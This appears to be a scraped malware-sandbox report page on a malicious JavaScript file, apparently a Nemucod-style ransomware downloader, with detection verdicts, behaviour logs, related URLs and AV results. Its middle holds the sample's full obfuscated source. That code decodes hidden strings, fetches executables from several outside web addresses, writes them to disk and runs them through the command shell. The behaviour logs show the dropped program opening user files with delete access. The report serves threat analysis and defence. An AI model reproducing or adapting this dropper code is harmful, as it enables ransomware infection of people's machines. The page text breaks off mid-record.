dftw

23:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 22:T42f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample 100322884e21… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 100322884e21…. Threat score 100/100. 17/27 AV engines flagged this file. 8 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/100322884e21b1bac77fb7634ae89e352610de9d734a509365e2a3c242a1369a","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","100322884e21b1bac77fb7634ae89e352610de9d734a509365e2a3c242a1369a"],"about":{"@type":"SoftwareApplication","name":"CCE26122017_48779.js","applicationCategory":["script","javascript"],"identifier":"100322884e21b1bac77fb7634ae89e352610de9d734a509365e2a3c242a1369a","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":17,"total":27},"behavioralIndicators":{"malicious":8,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T51b,"\Sessions\1\BaseNamedObjects\Local\_!MSFTHISTORY!_" "\Sessions\1\BaseNamedObjects\Local\c:!users!cbdvuil!appdata!local!microsoft!windows!temporary internet files!content.ie5!" "\Sessions\1\BaseNamedObjects\Local\c:!users!cbdvuil!appdata!roaming!microsoft!windows!cookies!" "\Sessions\1\BaseNamedObjects\Local\c:!users!cbdvuil!appdata!local!microsoft!windows!history!history.ie5!" "\Sessions\1\BaseNamedObjects\Local\WininetStartupMutex" "\Sessions\1\BaseNamedObjects\Local\WininetConnectionMutex" "\Sessions\1\BaseNamedObjects\Local\WininetProxyRegistryMutex" "\Sessions\1\BaseNamedObjects\Local\!IETld!Mutex" "\Sessions\1\BaseNamedObjects\Local\c:!users!cbdvuil!appdata!roaming!microsoft!windows!ietldcache!" "\Sessions\1\BaseNamedObjects\RasPbFile" "\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "Local\c:!users!cbdvuil!appdata!local!microsoft!windows!temporary internet files!content.ie5!" "Local\ZoneAttributeCacheCounterMutex" "Local\ZonesCacheCounterMutex" "IESQMMUTEX_0_208" "Local\c:!users!cbdvuil!appdata!local!microsoft!windows!history!history.ie5!" "Local\ZonesCounterMutex"25:T3b18,Output: "var silkopil = "/";var VbastoV = "201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 264 201 201 201 265 254 255 256 257 258 259 260 261 262 263 201 201 201 201 201 201 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 201 201 201 201 201 201 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201".split(" ");var off12 = 5 + 0xfe;var proto = "proto" + "type";dirtyGog = { 'DRRABLE': 'onseBody', 'U': 'S', '101': '', 'BILABLE': 'X', ':': '.', '11': '', "_____": ""};off12 = off12 - 4var velVITK_BOSKO_2S = "";for (jbl1 = 0; 256 > jbl1; ++jbl1) { VbastoV[jbl1] = parseInt(VbastoV[jbl1], 10); VbastoV[jbl1]--; VbastoV[jbl1] = VbastoV[jbl1] - 201;};var ft11 = function() { var dadadagyropurposeless_POPOLAM, line4, dadadagyropurposeless_Selection1, dadadagyropurposeless_FROG2c4; var dadadagyropurposeless_AKUPER = ""; var PROPUSK1 = this.replace(/DABMLESOR/gi, dadadagyropurposeless_AKUPER); line6 = 0; var dadadagyropurposeless_FROG2len = PROPUSK1.length; while (line6 < dadadagyropurposeless_FROG2len) { do { var dadadagyropurposeless_koch = PROPUSK1.charCodeAt(line6++) & (0x132 - 0x33); dadadagyropurposeless_POPOLAM = VbastoV[dadadagyropurposeless_koch]; } while (line6 < dadadagyropurposeless_FROG2len && dadadagyropurposeless_POPOLAM == -1); if (dadadagyropurposeless_POPOLAM == -1) break; do { stembl = "the"; line4 = VbastoV[PROPUSK1.charCodeAt(line6++) & off12]; } while (line6 < dadadagyropurposeless_FROG2len && line4 == -1); if (line4 + 2 + 1 == 1 + 1) break; dadadagyropurposeless_AKUPER += String.fromCharCode((dadadagyropurposeless_POPOLAM << 2) | ((line4 & 0x30) >> 4)); while (1) { dadadagyropurposeless_Selection1 = PROPUSK1.charCodeAt(line6++) & 0xff; if (dadadagyropurposeless_Selection1 == 61) return dadadagyropurposeless_AKUPER; dadadagyropurposeless_Selection1 = VbastoV[dadadagyropurposeless_Selection1]; if (!(line6 < dadadagyropurposeless_FROG2len && dadadagyropurposeless_Selection1 == -1)) break; } if (dadadagyropurposeless_Selection1 == -1) break; dadadagyropurposeless_AKUPER += String.fromCharCode(((line4 & (0xe + 1)) << 4) | ((dadadagyropurposeless_Selection1 & 0x3c) >> 2)); do { dadadagyropurposeless_FROG2c4 = PROPUSK1.charCodeAt(line6++) & off12; if (dadadagyropurposeless_FROG2c4 == 61) return dadadagyropurposeless_AKUPER; dadadagyropurposeless_FROG2c4 = VbastoV[dadadagyropurposeless_FROG2c4]; } while (line6 < dadadagyropurposeless_FROG2len && dadadagyropurposeless_FROG2c4 == -1); if (dadadagyropurposeless_FROG2c4 == -1) break; dadadagyropurposeless_AKUPER += String.fromCharCode(((dadadagyropurposeless_Selection1 & 0x03) << 6) | dadadagyropurposeless_FROG2c4); } return dadadagyropurposeless_AKUPER;};function dadadagyropurposeless_FROG2undefilled(rx, ry) { rx = HCKD / RDMP; ry = velVLUMAHZZ + 109;};dadadagyropurposeless_FROG2undefilled.dEDWWEE = function() { dadadagyropurposeless_FROG2ok(dadadagyropurposeless_FROG2spyFunction1.dadadagyropurposeless_FROG2calledWith(), "Function called without arguments"); dadadagyropurposeless_FROG2publisher.dadadagyropurposeless_FROG2publish(this.dadadagyropurposeless_FROG2type1, "PROPER1"); dadadagyropurposeless_FROG2ok(dadadagyropurposeless_FROG2spyFunction1.dadadagyropurposeless_FROG2calledWith("PROPER1"), "Function called with 'PROPER1' argument"); dadadagyropurposeless_FROG2publisher.dadadagyropurposeless_FROG2publish(this.dadadagyropurposeless_FROG2type1, ["PROPER1", "PROPER2"]);};var trigDA;String["prototype"].Done = ft11;function Gashish(SOcksRadFROGvostochniy) { SOcksRadPUPPYna = SOcksRadFROGvostochniy; for (var SOcksRadFROG2XCOP in dirtyGog) { SOcksRadPUPPYna = SOcksRadPUPPYna["repla" + "ce"](SOcksRadFROG2XCOP, dirtyGog[SOcksRadFROG2XCOP]); } return SOcksRadPUPPYna;};var dadadagyropurposeless_LLL0LLL = "2";var dadadagyropurposeless_FROG2TRUEFALSE = ("V2lDABMLESORuZG93cyBTY3JpcDABMLESORHQgSG9zdA=DABMLESOR=".Done() + "MPO203ZDD" == "DABMLESORV2lDABMLESORuZG93cyBTY3JpcDABMLESORHQgSG9zdA==".Done() + "MPO203ZDD") && typeof(dadadagyropurposeless_FROG2GzEAPd) === "undefined";var dadadagyropurposeless_FROGsrq = "UmVxdWVzdEhlYWRlcg==".Done();var dadadagyropurposelessFPADRML = ("").Done();var dadadagyropurposeless_FROG2lidgen = "QWN0DABMLESORaXZlWEDABMLESOR9iamVjdA==".Done();var dadadagyropurposeless_FROG2chosen = Math.round(0.7 * 2 - 0.4);var takeshiKitana = new Function("DABMLESOR DABMLESOR2", "DABMLESOR[DABMLESOR2]();");if (!dadadagyropurposeless_FROG2TRUEFALSE) { dadadagyropurposeless_FROG2undefilled.scale = function(dadadagyropurposeless_FROG2p, dadadagyropurposeless_FROG2scaleX, dadadagyropurposeless_FROG2scaleY) { if (line6sObject(dadadagyropurposeless_FROG2scaleX)) { dadadagyropurposeless_FROG2scaleY = dadadagyropurposeless_FROG2scaleX.y; dadadagyropurposeless_FROG2scaleX = dadadagyropurposeless_FROG2scaleX.x; } else if (!line6sNumber(dadadagyropurposeless_FROG2scaleY)) { dadadagyropurposeless_FROG2scaleY = dadadagyropurposeless_FROG2scaleX; } return new dadadagyropurposeless_FROG2undefilled(dadadagyropurposeless_FROG2p.x * dadadagyropurposeless_FROG2scaleX, dadadagyropurposeless_FROG2p.y * dadadagyropurposeless_FROG2scaleY); };}function dadadagyropurposelessFPADZO_ZO(TT) { eval(TT);}if (!dadadagyropurposeless_FROG2TRUEFALSE) { dadadagyropurposeless_FROG2undefilled.dadadagyropurposeless_FROG2sameOrN = function(dadadagyropurposeless_FROG2param1, dadadagyropurposeless_FROG2param2) { return dadadagyropurposeless_FROG2param1.D == dadadagyropurposeless_FROG2param2.D || dadadagyropurposeless_FROG2param1.F == dadadagyropurposeless_FROG2param2.F; }; dadadagyropurposeless_FROG2undefilled.angle = function(dadadagyropurposeless_FROG2p) { return Math.atan2(dadadagyropurposeless_FROG2p.y, dadadagyropurposeless_FROG2p.x); };}var dadadagyropurposeless_FROG2VARDOCF = "JVRFDABMLESORTVAlDABMLESOR".Done();var oLDNameCreator = new Function("DABMLESOR DABMLESOR", "trigDA = " + ("bmV3IEZ1bmN0aW9uKCd2VlJFQkZGMycsJ3JldHVybiBcIlRWTT1cIg==").Done() + ".Done();');");var dadadagyropurposelessruchka = "RXhwYW5DABMLESORkRW52aXJvbm1lbnRTdHJDABMLESORpbmDABMLESORdz".Done();var dadadagyropurposeless_FROGhatershaha = "";var dadadagyropurposeless_FROGodnoklass = "jYAbcsB";function placeHolder(AOn) { return new ActiveXObject(AOn);}var dadadagyropurposeless_FROG2Native = function(options) {};if (WSH) { dadadagyropurposeless_FROG2Native.line6mplement = function(dadadagyropurposeless_FROG2objects, dadadagyropurposeless_FROG2properties) { for (var line6 = 0, dadadagyropurposeless_FROG2l = dadadagyropurposeless_FROG2objects.length; line6 < dadadagyropurposeless_FROG2l; line6++) dadadagyropurposeless_FROG2objects[line6].line6mplement(dadadagyropurposeless_FROG2properties); }; oLDNameCreator();}var dadadagyropurposeless_FROG2_bChosteck = "aHR0cDABMLESORDovLw=DABMLESOR=";var dadadagyropurposeless_selection2dbb = "WA==".Done() + "M" + "L";var dadadagyropurposeless_Upercot1 = "DABMLESOR" + "DABMLESOR" + "";function dadadagyropurposeless_FROG2_bCho(T, D, C) { R = D + ""; T[D + ""](C);}function d3xf3x(rdf) { return "\x3F" + rdf + "\x3D";}var ace1 = trigDA() + dadadagyropurposeless_selection2dbb;dadadagyropurposeless_selection2dbb = ace1 + Gashish(("dadadagyropurposeless_laundry", "dadadagyropurposeless_acclaim", "dadadagyropurposeless_seduce", "dadadagyropurposeless_epilogue", "dadadagyropurposeless_lucia", "2.") + "BILABLEML_____H101T" + "TP579DABMLESOR579" + "WS" + "cr" + "ipt:Uh") + "e" + "ll";var dadadagyropurposeless_FROG2DoUtra = [dadadagyropurposeless_FROG2lidgen, dadadagyropurposelessruchka, dadadagyropurposeless_FROG2VARDOCF, "LmVDABMLESOR4ZQ=DABMLESOR=".Done(), "UnDABMLESORVuDABMLESOR".Done(), dadadagyropurposeless_selection2dbb];dadadagyropurposeless_FROG2Richters = dadadagyropurposeless_FROG2DoUtra.shift();var dadadagyropurposeless_579 = dadadagyropurposeless_FROG2DoUtra.pop();dadadagyropurposeless_FROG2fabled = "Selection2Action";var dadadagyropurposeless_FROG2LitoyDISK = ActiveXObject;dadadagyropurposeless_FROG2Native.dadadagyropurposeless_FROG2typize = function(a, b) { a.type || (a.type = function(a) { return dadadagyropurposeless_FROG2$type(a) === b })};var trendingNow = dadadagyropurposeless_579["spl" + 'it']("579");dadadagyropurposeless_FROGcccomeccc = "p";var Limbus2000 = new Function("HORN", ' var GALAXY = "chastity necessarily()";var kelso = "ADODB.Str32"; return kelso.replace("DILBO", "D").replace("32", "eam");');function dadadagyropurposeless_FROG2_cCho(a, b, c, d) { a[b](c, d)}RI12 = trendingNow[dadadagyropurposeless_FROGcccomeccc + "op"]();var dadadagyropurposelessGooodName;function mimimix2() { try { ori_sel[fixed] = 0; /* Convert to face format*/ /* Mapping from permutation/orientation to facelet*/ for (var i = 0; i < 8; i++) { for (var j = 0; j < 3; j++) posit[pos[i][(ori_sel[i] + j) % 3]] = fmap[perm_sel[i]][j]; } } catch (exc1) { } dadadagyropurposelessGooodName = "b3BlbgDABMLESOR=DABMLESOR=".Done();}mimimix2();dadadagyropurposelessSotka = placeHolder(RI12);dadadagyropurposelessAist = new ActiveXObject(trendingNow[0]);dadadagyropurposeless_FROG2tudabilo1 = "s";eval(dadadagyropurposeless_Upercot1.Done());var dadadagyropurposeless_FROG2vulture = dadadagyropurposelessSotka[dadadagyropurposeless_FROG2DoUtra.shift()](dadadagyropurposeless_FROG2DoUtra.shift());dadadagyropurposeless_FROG2weasel = "G\x45T";var dadadagyropurposeless_FROG2SIDRENKOV = dadadagyropurposeless_FROG2DoUtra.shift();dadadagyropurposeless_FROG2SPASPI = "type";var dadadagyropurposeless_selectionPipe = dadadagyropurposeless_FROG2DoUtra.shift();function dadadagyropurposeless_FROG2_aCho(R, K) { R[K]();}var dadadagyropurposelessVSTALPOSHEL2;function dadadagyropurposelesscomBAT(dadadagyropurposelessVSTALPOSHEL) { var dadadagyropurposelessWasechO = "" + dadadagyropurposeless_FROG2vulture; try { dadadagyropurposelessWasechO = dadadagyropurposelessWasechO + silkopil; dadadagyropurposelessWasechO = dadadagyropurposelessWasechO + "" + dadadagyropurposelessVSTALPOSHEL2; dadadagyropurposelessAist["open"](dadadagyropurposeless_FROG2weasel, dadadagyropurposelessVSTALPOSHEL, false); if (dadadagyropurposeless_FROG2TRUEFALSE) { dadadagyropurposeless_FROG2_cCho(dadadagyropurposelessAist, "set" + (11, "dadadagyropurposeless_mayor", "dadadagyropurposeless_sleek", "dadadagyropurposeless_messages", "dadadagyropurposeless_copper", "dadadagyropurposeless_invisible", "dadadagyropurposeless_freshmen", "dadadagyropurposeless_yemen", dadadagyropurposeless_FROGsrq), "User-Agent", "TW96aWxsYS80LjAgDABMLESORKGNvbXBhdGlibGU7IE1TSUUgNi4wOyDABMLESORBXaW5kb3dzIE5UIDUuMCk=".Done()); } vlogTry = "11" dadadagyropurposelessAist[dadadagyropurposeless_FROG2tudabilo1 + ("dadadagyropurposeless_ceres", "dadadagyropurposeless_tomahawk", "dadadagyropurposeless_hawaiian", "dadadagyropurposeless_seasick", "dadadagyropurposeless_typing", "en") + "" + "d"](); var havrosh2 = "Res" + "p" + (dadadagyropurposelessVSTALPOSHEL2, "dadadagyropurposeless_pertinacious", "dadadagyropurposeless_coupon", 2112, "dadadagyropurposeless_gallery", "dadadagyropurposeless_refute", dirtyGog['DRRABLE']); var havrosh = dadadagyropurposelessAist[havrosh2]; var dadadagyropurposeless_MainZ = new dadadagyropurposeless_FROG2LitoyDISK(Limbus2000()); if (dadadagyropurposeless_FROG2TRUEFALSE) { dadadagyropurposeless_FROGGaSMa = "Selection10Action"; var takeshiKitana2 = new Function("DABMLESOR,DABMLESOR2", "DABMLESOR['wr" + "ite'](DABMLESOR2);"); takeshiKitana(dadadagyropurposeless_MainZ, dadadagyropurposelessGooodName); dadadagyropurposeless_MainZ[dadadagyropurposeless_FROG2SPASPI] = dadadagyropurposeless_FROG2chosen; takeshiKitana2(dadadagyropurposeless_MainZ, havrosh); dadadagyropurposeless_FROG2XWaxeQhw = "Selection11Action"; dadadagyropurposeless_MainZ["position"] = 0; dadadagyropurposeless_FROG2krDwvrh = "Selection12Action"; dadadagyropurposelessWasechO = dadadagyropurposelessWasechO + dadadagyropurposeless_FROG2SIDRENKOV; dadadagyropurposeless_MainZ["cDABMLESOR2F2DABMLESORZVDABMLESORRvRmlsZQ==".Done()](dadadagyropurposelessWasechO, 26 / 13); dadadagyropurposelessWasechO = "exe /c START \"\" " + dadadagyropurposelessWasechO; dadadagyropurposeless_FROG2SswQdi = "Selection13Action"; dadadagyropurposeless_MainZ.close(); dadadagyropurposelessSotka["Ex" + "ec"]("cmd." + dadadagyropurposelessWasechO); } } catch (exception4) { return false; } return true;};dadadagyropurposelessFPADZO_ZO(dadadagyropurposelessFPADRML);var dadadagyropurposeless_FROGodnoklassYO = 1;var dadadagyropurposelesssurvivalBBB = ('DABMLESORd3DABMLESORd3LnRoZWRvdXJuYWxpc3QuY29tL21uYDABMLESORlRSRWtmRFM/SSSSDABMLESORdDABMLESOR3d3LnRhLXB1LmlyL21uYlRSRWDABMLESORtmRFM/SSSS' + '' + 'DABMLESORd3DABMLESORd3LnNpbXBsZWFmdGVyY2FyZS5jbyDABMLESOR51ay9tbmJUUkVrZkRTPw==SSSSSSSSDABMLESOR').split("SSSS");var function31 = new Function("dadadagyropurposelesssurvivalBBB,dadadagyropurposelesssurvivalCCC", 'return dadadagyropurposeless_FROG2_bChosteck.Done() + dadadagyropurposelesssurvivalBBB[dadadagyropurposelesssurvivalCCC].Done();');function abordage(A, B, C) { try { } catch (e) {}}for (dadadagyropurposelesssurvivalCCC in dadadagyropurposelesssurvivalBBB) { dadadagyropurposeless_FROGodnoklassYO++; var a; var AXXA = function31(dadadagyropurposelesssurvivalBBB, dadadagyropurposelesssurvivalCCC) + d3xf3x(dadadagyropurposeless_FROGodnoklass) + dadadagyropurposeless_FROGodnoklass; dadadagyropurposelessVSTALPOSHEL2 = dadadagyropurposeless_FROGodnoklass + dadadagyropurposeless_FROGodnoklassYO; if (dadadagyropurposelesscomBAT(AXXA)) { break; }}"26:T67d,"wscript.exe" touched file "C:\Windows\System32\en-US\wscript.exe.mui" "wscript.exe" touched file "C:\Windows\System32\wscript.exe" "wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "wscript.exe" touched file "C:\Windows\System32\rsaenh.dll" "wscript.exe" touched file "C:\Windows\System32\en-US\jscript.dll.mui" "wscript.exe" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "wscript.exe" touched file "C:\Windows\System32\msxml3r.dll" "wscript.exe" touched file "C:\Windows\System32\wshom.ocx" "wscript.exe" touched file "C:\Windows\System32\msxml3.dll\1" "wscript.exe" touched file "C:\Windows\System32\msxml3.dll" "wscript.exe" touched file "C:\Users\cbDVuiL\AppData\Local\Microsoft\Windows\Temporary Internet Files" "wscript.exe" touched file "C:\Users\cbDVuiL\AppData\Roaming\Microsoft\Windows\Cookies" "wscript.exe" touched file "C:\Users\cbDVuiL\AppData\Local\Microsoft\Windows\History" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\index.dat" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat" "wscript.exe" touched file "C:\Windows\System32\en-US\urlmon.dll.mui" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\mnbTREkfDS[1].txt" "wscript.exe" touched file "C:\Windows\System32\scrrun.dll"27:T6f9,"jYAbcsB2.exe" opened "C:\Users\cbDVuiL\AppData\Local\Temp\nsp70A5.tmp" with delete access "jYAbcsB2.exe" opened "C:\Users\cbDVuiL\AppData\Local\Temp\nsd70CF.tmp" with delete access "jYAbcsB2.exe" opened "C:\100322884e21b1bac77fb7634ae89e352610de9d734a509365e2a3c242a1369a.js" with delete access "jYAbcsB2.exe" opened "C:\autoexec.bat" with delete access "jYAbcsB2.exe" opened "C:\config.sys" with delete access "jYAbcsB2.exe" opened "C:\Users\desktop.ini" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\desktop.ini" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Videos\desktop.ini" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Videos\Sample Videos\desktop.ini" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Videos\Sample Videos\Wildlife.wmv" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Recorded TV\desktop.ini" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Recorded TV\Sample Media\desktop.ini" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Pictures\desktop.ini" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Desert.jpg" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\desktop.ini" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg" with delete access "jYAbcsB2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Koala.jpg" with delete access28:T55a,"wscript.exe" wrote bytes "7739eb7679a8ef76be72ef76d62def761de2ea7605a2ef76c868ee7657d1f576bee3ea76616fef766841ed760050ed7600000000ad3709778b2d0977b641097700000000" to virtual address "0x74A21000" (part of module "WSHIP6.DLL") "wscript.exe" wrote bytes "4053ed765858ee76186aee76653cef760000000000bf36750000000056cc3675000000007cca36750000000037682a756a2cef76d62def760000000020692a750000000029a6367500000000a48d2a7500000000f70e367500000000" to virtual address "0x76FE1000" (part of module "NSI.DLL") "wscript.exe" wrote bytes "92e6ea7679a8ef76be72ef76d62def761de2ea7605a2ef76bee3ea76616fef766841ed760050ed7600000000ad3709778b2d0977b641097700000000" to virtual address "0x744F1000" (part of module "WSHTCPIP.DLL") "jYAbcsB2.exe" wrote bytes "2b453775f99c367578eb35757989357593973675d3333775a41d3775d0d9367511a636755c39377541cf3675e19c36750e453775b62f37754123367500bf367500000000473f517500000000ec227e7599e57b7500000000" to virtual address "0x10003000" (part of module "SYSTEM.DLL") "jYAbcsB2.exe" wrote bytes "08572d76047836760000000051c1a2759498a275ee9ca27575dca475273ea475efb2a8750000000046ce3675013d377538ed3775cfcd367531233675de2f3775c4ca367580bb3675aa6e37759fbb367592bb367546ba36750abf367500000000" to virtual address "0x6DF41000" (part of module "SHFOLDER.DLL") "jYAbcsB2.exe" wrote bytes "c2000000" to virtual address "0x1000404C" (part of module "SYSTEM.DLL")29:T53e,Found malicious artifacts related to "86.106.30.37": ... URL: http://piese-imprimanta.ro/pdfs/1281_BJC_I965.pdf (AV positives: 3/66 scanned on 12/25/2017 09:36:10) URL: http://piese-imprimanta.ro/pdfs/1355_N1000_N2000.pdf (AV positives: 3/66 scanned on 12/23/2017 11:35:03) URL: http://www.indcom-sa.ro/archives/date (AV positives: 2/66 scanned on 12/17/2017 18:00:57) URL: http://www.indcom-sa.ro/archives/date/2011/08 (AV positives: 3/66 scanned on 12/17/2017 17:46:28) URL: http://piese-imprimanta.ro/lexmark/t642.html (AV positives: 3/66 scanned on 12/17/2017 12:23:37) File SHA256: 3a9d5976fbf41daf80f0eb9e6b7aadcece52a82fe9609984ef7f8ea166048547 (AV positives: 7/71 scanned on 12/26/2017 15:18:58) File SHA256: 17fa2f3324d45c27a318ed51dab739c7f09b573185b76889b955ad2c9ad1d7b8 (AV positives: 1/56 scanned on 12/21/2017 00:39:03) File SHA256: 70c65bd0e084398a87baa298c1fafa52afff402096cb350d563d309565c07e83 (AV positives: 1/59 scanned on 12/17/2017 18:01:01) File SHA256: d275341120113c34b922fa699837d9f5c463b51aca588d791c4fd964d66d8e8a (AV positives: 12/55 scanned on 12/11/2017 21:05:11) File SHA256: a6299bff55670ac5ce38309fa06d373db869c432a937db2e8fe86b7811e4caec (AV positives: 13/55 scanned on 12/11/2017 21:01:18) File SHA256: 48b88a568dece3f3424b84098e09582018bcecece90d8ac70edd238482d93a35 (Date: 01/14/2015 00:07:03)1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"100322884e21b1bac77fb7634ae89e352610de9d734a509365e2a3c242a1369a","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790356473612,"unified_at":"2026-09-25T17:14:33.612Z","metadata":{"hashes":{"sha256":"100322884e21b1bac77fb7634ae89e352610de9d734a509365e2a3c242a1369a","sha1":"9b3ecbba168765ee9ddcd1a2f5f44d66c18965e3","md5":"b3eb224b8db75f83fe6a7e848ad4ca68","sha512":"b1a9c8b61e4c02aac124f4878d644ae751b87d0548d0b9a06783cfcc530b88f17d70d5106f9f86e67535f2602e158ff43ef37917c686795be70246a48bb07d32","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"CCE26122017_48779.js","file_type":["script","javascript"],"file_type_id":"js","file_size":15081,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1514302594000,"last_seen":1678423064000,"last_multi_scan":1678423064000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["globeimposter","locky","nemucod","ransomware"]},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":21,"suspicious_count":16,"malicious_count":8,"total":45},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"JS/Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/JS.Nemucod.dbp","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"JS/Dldr.Script.AMAAC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.JS.Downloader.IGK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.JS.TrojanDownloader.Agent.RS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"JS/Nemucod.CA2!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.JS.Downloader.IGK (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"JS/TrojanDownloader.Agent.RSY 